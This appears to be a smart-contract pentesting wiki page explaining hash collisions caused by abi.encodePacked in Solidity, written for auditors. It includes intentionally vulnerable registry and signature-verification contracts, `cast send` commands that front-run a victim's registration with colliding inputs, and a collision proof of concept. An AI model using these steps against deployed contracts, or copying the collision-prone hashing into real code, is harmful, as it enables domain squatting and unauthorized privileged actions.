> For the complete documentation index, see [llms.txt](https://red.infiltr8.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://red.infiltr8.io/smart-contracts-pentesting/vulnerabilities/evm-attack-surfaces/hash-collisions-abi.encodepacked.md).

# Hash Collisions (abi.encodePacked)

## Theory

In Solidity, `abi.encodePacked()` concatenates arguments without padding or type information, creating a compact byte representation. Unlike `abi.encode()`, which adds 32-byte padding and type metadata, `abi.encodePacked()` produces ambiguous encodings when combining multiple dynamic-length types.

#### The Collision Mechanism

When multiple dynamic-length arguments (strings, bytes, dynamic arrays) are packed together, their boundaries become indistinguishable. This allows different input combinations to produce identical hash outputs.

**Example collision scenario:**

solidity

```solidity
abi.encodePacked("aa", "ab")  // Results in: 0x61616162
abi.encodePacked("aa", "a", "b")  // Results in: 0x61616162
abi.encodePacked("a", "aab")  // Results in: 0x61616162
```

All three combinations produce the same bytes, and consequently the same `keccak256` hash. This occurs because `abi.encodePacked()` simply concatenates the UTF-8 representations without length delimiters.

#### Storage Impact

Solidity mappings using `keccak256(abi.encodePacked(...))` as keys are particularly vulnerable. When collision-prone encodings serve as unique identifiers, attackers can:

* Access unauthorized data by crafting colliding keys
* Overwrite existing entries with malicious values
* Bypass authentication mechanisms relying on hash-based lookups
* Manipulate signature verification systems

#### Why abi.encode() Prevents Collisions

`abi.encode()` adds explicit length information and 32-byte padding for each argument, making collisions computationally infeasible:

solidity

```solidity
abi.encode("aa", "ab")
// 0x0000...0020 (offset to first string)
//   0000...0040 (offset to second string)
//   0000...0002 (length of "aa")
//   6161...0000 (padded "aa")
//   0000...0002 (length of "ab")
//   6162...0000 (padded "ab")

abi.encode("aaa", "b")  // Produces completely different encoding
```

## Practice

When auditing smart contracts, identify any use of `abi.encodePacked()` combined with `keccak256()` for generating mapping keys, signatures, or unique identifiers. Focus on functions where users can control multiple dynamic-length arguments.

#### High-Risk Patterns

**Critical vulnerabilities occur when:**

* Multiple `string` or `bytes` parameters are passed to `abi.encodePacked()`
* Dynamic arrays of variable-length types are concatenated
* User-controlled inputs are hashed without fixed-length separators
* Signature schemes rely on `encodePacked` for message construction
* Access control or authentication uses collision-prone hash keys

**Safe usage scenarios:**

* Single dynamic-length argument: `abi.encodePacked(string)`
* Only fixed-size types: `abi.encodePacked(uint256, address, bytes32)`
* Mixed with proper separators: `abi.encodePacked(string1, uint256, string2)`

#### Vulnerable Contract Example

{% tabs %}
{% tab title="Exploit" %}
**Exemple - Decentralized registry system**

Consider a decentralized registry system where users can claim domain names by combining a username with a top-level domain. The contract uses a mapping to track ownership, with the key generated by hashing the concatenated strings. This design appears reasonable at first glance since each user should have a unique combination of name and domain.

```solidity
pragma solidity ^0.8.0;

contract VulnerableRegistry {
    mapping(bytes32 => address) public records;
    
    // Vulnerable: Two dynamic-length strings
    function register(string memory name, string memory domain) public {
        bytes32 key = keccak256(abi.encodePacked(name, domain));
        require(records[key] == address(0), "Already registered");
        records[key] = msg.sender;
    }
    
    function getOwner(string memory name, string memory domain) public view returns (address) {
        bytes32 key = keccak256(abi.encodePacked(name, domain));
        return records[key];
    }
}
```

The vulnerability lies in the boundary ambiguity between the two string parameters. When Alice attempts to register `("alice", "example.com")`, the contract concatenates these into `"aliceexample.com"` before hashing.\
However, an attacker monitoring the mempool can front-run her transaction by registering `("aliceexample", ".com")` instead, which produces the identical concatenated string and therefore the same hash.

**Scenario:** Alice registers `("alice", "example.com")`

```bash
# Alice's legitimate registration
cast send $CONTRACT_ADDRESS \
  'register(string,string)' \
  "alice" \
  "example.com" \
  --rpc-url $RPC_URL \
  --private-key $ALICE_PK
```

**Attack:** Bob finds a collision and registers first

```bash
# Bob registers with colliding inputs BEFORE Alice
## Both calls produce the same hash:
## keccak256("aliceexample.com") == keccak256("aliceexample.com")
cast send $CONTRACT_ADDRESS \
  'register(string,string)' \
  "aliceexample" \
  ".com" \
  --rpc-url $RPC_URL \
  --private-key $BOB_PK
```

When Alice attempts registration, it fails because Bob already owns that hash key. Bob effectively squatted on Alice's intended registration through collision.

Below is a small proof of concept to find collisions:

```solidity
pragma solidity ^0.8.0;

contract CollisionDemo {
    function demonstrateCollision() public pure returns (bool) {
        bytes32 hash1 = keccak256(abi.encodePacked("aa", "bb"));
        bytes32 hash2 = keccak256(abi.encodePacked("a", "abb"));
        bytes32 hash3 = keccak256(abi.encodePacked("aab", "b"));
        
        return (hash1 == hash2) && (hash2 == hash3);  // Returns true
    }
    
    function showEncodings() public pure returns (bytes memory, bytes memory) {
        return (
            abi.encodePacked("aa", "bb"),    // 0x61616262
            abi.encodePacked("a", "abb")     // 0x61616262
        );
    }
}
```

**Exemple 2 - Signature Collision Attack**

Hash collisions in signature verification can enable privilege escalation:

```solidity
pragma solidity ^0.8.0;

contract VulnerableAuth {
    address public admin;
    
    constructor() {
        admin = msg.sender;
    }
    
    // Vulnerable signature verification
    function executeAction(
        string memory action,
        string memory target,
        bytes memory signature
    ) public {
        bytes32 messageHash = keccak256(abi.encodePacked(action, target));
        address signer = recoverSigner(messageHash, signature);
        require(signer == admin, "Unauthorized");
        
        // Execute privileged action
    }
    
    function recoverSigner(bytes32 hash, bytes memory sig) internal pure returns (address) {
        // ECDSA recovery logic
        // ...
    }
}
```

An attacker can craft colliding `(action, target)` pairs to reuse a valid signature for unauthorized operations:

* Admin signs: `("transfer", "100")`
* Attacker submits: `("transfe", "r100")` with the same signature
  {% endtab %}

{% tab title="Second Tab" %}

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://www.nethermind.io/blog/understanding-hash-collisions-abi-encodepacked-in-solidity>" %}

{% embed url="<https://scsfg.io/hackers/abi-hash-collisions/>" %}

{% embed url="<https://scs.owasp.org/SCWE/SCSVS-CRYPTO/SCWE-074/>" %}
